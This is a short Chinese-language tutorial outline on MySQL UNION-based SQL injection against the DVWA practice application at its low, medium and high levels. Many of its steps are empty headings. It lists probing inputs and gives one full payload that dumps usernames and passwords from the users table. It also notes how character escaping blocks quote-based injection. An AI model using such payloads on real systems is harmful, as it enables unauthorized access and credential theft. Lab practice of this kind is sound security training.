mysql 联合查询注入
一. dvwa sql注入 low mid high
Low
1.输入1提交
2.输入1’提交
3.输入1 and 1=1 提交
4. 输入1 and 1=2 提交
源码：
列数：2
爆个数据库：
数据库里的表：
表里的表头：
查user和password：
二.medium级别
使用抓包软件bp抓包
当id=1’ 时 报错
查看源码：
有一条语句是这样的：
这个函数可以将$id变量中的单引号’、双引号”、斜杠\等字符进行转义，因而我们再输入之前的“1’”就会报错了，从错误提示中可以发现单引号’已经被转义成了’，因而注入语句无法发挥作用。
id=1 and 1=2 union select 1,group_concat(user,0x7e,password) from users -- &Submit=Submit
High：
源码：
1：
2.数值型
3.
4.